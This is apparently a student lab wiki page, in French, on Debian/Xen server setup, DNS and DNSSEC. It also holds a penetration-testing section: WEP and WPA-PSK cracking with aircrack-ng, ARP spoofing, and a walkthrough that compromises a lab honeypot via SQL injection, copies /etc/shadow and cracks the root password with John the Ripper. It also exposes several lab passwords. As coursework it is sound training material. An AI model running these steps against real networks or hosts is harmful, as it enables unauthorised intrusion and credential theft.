		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57986"/>
				<updated>2022-01-12T12:08:25Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
